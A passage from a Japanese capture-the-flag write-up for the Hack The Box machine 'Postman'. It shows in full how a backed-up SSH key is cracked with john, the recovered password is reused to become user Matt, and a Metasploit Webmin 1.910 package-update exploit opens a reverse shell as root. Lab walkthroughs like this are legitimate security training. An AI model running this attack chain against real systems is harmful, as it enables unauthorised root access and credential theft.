drwxr-xr-x  2 redis root    4096 Feb 28 12:40 .ssh
-rw-r-----  1 redis redis  46760 Aug 25  2019 vlpaulhk.so

dump.rdbも気になるが、6379ディレクトリが気になるので確認。

$ ls -al 6379/
total 12
drwxr-xr-x 2 root  root  4096 Oct 25 15:21 .
drwxr-x--- 7 redis redis 4096 Feb 28 11:59 ..
-rw-r--r-- 1 root  root    92 Oct 25 15:21 dump.rdb

2つのdump.rdbが気になるので、ローカルに持ってきて中身を確認してみる。

$ cp 6379/dump.rdb ./dump.rdb2
# scp -i id_rsa redis@10.10.10.160:/var/lib/redis/dump.rdb2 ./
dump.rdb2                                                                                                                   100%   92     0.4KB/s   00:00   

# scp -i id_rsa redis@10.10.10.160:/var/lib/redis/dump.rdb ./
dump.rdb                 

ハッシュが違うので、時点が違う?

# sha1sum dump.rdb*
c285c649479e81cf9a4ba1e72a12204493f1c335  dump.rdb
0d718978d50b2da1f3213e4973c0d1a399bb29e2  dump.rdb2

中身を確認

# rdb --command json dump.rdb2
[]
# rdb --command json dump.rdb
[]

何も入ってなくて悲しみにくれる。
また地道な探索作業を開始する。
WEBを公開しているので、何かないか確認してみる

$ cd /var/www
$ ls
html  nikto-test-pFTYNhZX.html  SimpleHTTPPutServer.py

$ cd html
$ ls
css  fonts  images  index.html  js  style.css  upload

nikto-test-pFTYNhZX.html SimpleHTTPPutServer.pyが気になるが、それ以外は特になし。

あ、コマンド履歴見ればユーザの最近の操作動向がわかるかも!と思いhistoryを実行する

$ history
    1  exit
    2  su Matt
    3  pwd
    4  nano scan.py
    5  python scan.py
    6  nano scan.py
    7  clear
    8  nano scan.py
    9  clear
   10  python scan.py
   11  exit
   12  exit
   13  cat /etc/ssh/sshd_config 
   14  su Matt
   15  clear
   16  cd /var/lib/redis
   17  su Matt
   18  exit
   19  cat id_rsa.bak 
   20  ls -la
   21  exit
   22  cat id_rsa.bak 
   23  exit
   24  ls -la
   25  crontab -l
   26  systemctl enable redis-server
   27  redis-server
   28  ifconfig
   29  netstat -a
   30  netstat -a
   31  netstat -a
   32  netstat -a
   33  netstat -a > txt
   34  exit
   35  crontab -l
   36  cd ~/
   37  ls
   38  nano 6379
   39  exit
   40  cd /dev/shm/
   41  ls
   42  wget 10.10.14.235:8000/LinEnum.sh
   43  chmod +x LinEnum.sh 
   44  ./LinEnum.sh 
   45  whoami
   46  ssh matt@localhost
   47  ssh -i /opt/id_rsa.bak  matt@localhost
   48  ssh -i /opt/id_rsa.bak  matt@localhost
   49  login matt
   50  sudo -l
   51  ssh -i /opt/id_rsa.bak  localhost
   52  ls
   53  cd /home/Matt/
   54  ls
   55  cat user.txt 
   56  ls
   57  ls .al
   58  cd .ssh/
   59  ls
   60  cd .ssh
   61  ls
   62  cat user.txt 
   63  sudo -i matt
   64  exit
   65  ls -al
   66  id
   67  cat /etc/passwd
   68  pwd
   69  cat /etc/group
   70  ls
   71  ls -al 6379/
   72  ls -al
   73  cp 6379/dump.rdb ./dump.rdb2
   74  ls -al
   75  ls
   76  cd /
   77  cd /opt
   78  ls
   79  ls -al
   80  cat id_rsa.bak 
   81  cd /var/www
   82  ls
   83  cd html
   84  ls
   85  cd ..
   86  cd /opt
   87  ls
   88  history

/opt/id_rsa.bakがめっちゃ気になるので、ダメもとでみてみると・・・

$ cd /opt
$ ls
id_rsa.bak

ヤバそうなのを見つけた。とりあえず手元に持ってきてsshしてみる。

# scp -i id_rsa redis@10.10.10.160:/opt/id_rsa.bak ./

# ssh -i id_rsa_Matt Matt@10.10.10.160
Enter passphrase for key 'id_rsa_Matt': 

Matt

やはりここでもパスフレーズが必要な模様。
johnを使って解析を試みる。

# python ssh2john.py id_rsa_Matt > id_rsa_Matt.hash

# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa_Matt.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa_Matt)
Warning: Only 1 candidates left, minimum 2 needed for performance.
1g 0:00:00:14 DONE (2020-02-28 22:07) 0.06854g/s 982981p/s 982981c/s 982981C/s *7¡Vamos!
Session completed

Success: computer2008

早速SSHで接続

# ssh -i id_rsa_Matt Matt@10.10.10.160
Enter passphrase for key 'id_rsa_Matt': 
Connection closed by 10.10.10.160 port 22

おかしい。正しいパスフレーズを入力しているのにログインできない。
sshの設定ファイルを確認してみる。

$ cd /etc/ssh

$ ls
moduli      sshd_config     ssh_host_ecdsa_key.pub  ssh_host_ed25519_key.pub  ssh_host_rsa_key.pub
ssh_config  ssh_host_ecdsa_key  ssh_host_ed25519_key    ssh_host_rsa_key      ssh_import_id

$ cat sshd_config 
#   $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
AuthorizedKeysFile  .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#UseLogin no
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

#deny users
DenyUsers Matt

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem   sftp    /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#   X11Forwarding no
#   AllowTcpForwarding no
#   PermitTTY no
#   ForceCommand cvs server

DenyUsers Mattと言う酷な設定を見つけて崩れ落ちる。
どうしようか考えていたら、ssh無理でもsuなら行けそうだし、パスワード使いまわしてそう。
と思いsuを試す

redis@Postman:/etc/ssh$ su Matt
Password: 
Matt@Postman:/etc/ssh$ 

Mattになれた。ホームディレクトリをみてみるとuser.txtがあるので拝借。

Matt@Postman:~$ pwd
/home/Matt
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt 
517ad0ec2458ca97af8d93xxxxxxxxxx

権限を確認する

Matt@Postman:~$ id
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
Matt@Postman:~$ sudo -l
[sudo] password for Matt: 

この後どないしようかと考える。
Mattじゃないとみられないディレクトリもなかったし、怪しいと思ってたSimpleHTTPPutServer.pyも使えなかったし。

$ cat SimpleHTTPPutServer.py 
# python -m SimpleHTTPPutServer 8080
import SimpleHTTPServer
import BaseHTTPServer

class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_PUT(self):
        print self.headers
        length = int(self.headers["Content-Length"])
        path = self.translate_path(self.path)
        with open(path, "wb") as dst:
            dst.write(self.rfile.read(length))


if __name__ == '__main__':
    SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)

あ、MattでログインできたんならWebMinにもログインしてみればいいのでは?
Webminはホストのログインユーザのクレデンシャルと同じでログインできる仕様になってるし、
仮にパッケージの更新権限あれば、最初に調べて使えなかったエクスプロイとが使えるのでは!?

試してみる。

f:id:kyonta1022:20200514224236p:plain f:id:kyonta1022:20200514224242p:plain f:id:kyonta1022:20200514224247p:plain

めっちゃパッケージのアップデート権限ある。
と言うことで、Mattを使って例のエクスプロイとを試してみる。 searchsploitを使ってPOCを入手する。

# searchsploit WebMin 1.910
-------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                              |  Path
                                                                                            | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------- ----------------------------------------
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)                      | exploits/linux/remote/46984.rb
-------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result

Metasploitから使えるようにモジュールを配置する

# cp /usr/share/exploitdb/exploits/linux/remote/46984.rb /root/.msf4/modules/exploits/poc/

Metasploitからエクスプロイトする

# msfconsole
[i] Database already started
[i] The database appears to be already configured, skipping initialization
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,
           :kk;.OOOOOOOOOOOOO.;Ok:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v5.0.2-dev                           ]
+ -- --=[ 1855 exploits - 1046 auxiliary - 325 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]


msf5 > use exploit/poc/46984 
msf5 exploit(poc/46984) > show options 

Module options (exploit/poc/46984):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf5 exploit(poc/46984) > set PASSWORD computer2008
PASSWORD => computer2008
msf5 exploit(poc/46984) > set USERNAME Matt
USERNAME => Matt
msf5 exploit(poc/46984) > set SSL true
SSL => true
msf5 exploit(poc/46984) > set RHOST 10.10.10.160
RHOST => 10.10.10.160
msf5 exploit(poc/46984) > set LHOST 10.10.14.223
LHOST => 10.10.14.223
msf5 exploit(poc/46984) > options 

Module options (exploit/poc/46984):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target address range or CIDR identifier
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.223     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

msf5 exploit(poc/46984) > exploit 

[*] Started reverse TCP handler on 10.10.14.223:4444 
[+] Session cookie: 8dd7ffee64a09526d4827facae0228cb
[*] Attempting to execute the payload...
[*] Command shell session 2 opened (10.10.14.223:4444 -> 10.10.10.160:45060) at 2020-02-28 22:27:01 +0900

shell
[*] Trying to find binary(python) on target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
/usr/bin/python

Python 2.7.15+ (default, Nov 27 2018, 23:36:35) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> quit()
quit()
# # id
id

uid=0(root) gid=0(root) groups=0(root)

# # cd  
cd 

# # ls
ls

redis-5.0.0  root.txt
# # cat root.txt
cat root.txt

a257741c5bed8be7778c6exxxxxxxxxx

終わり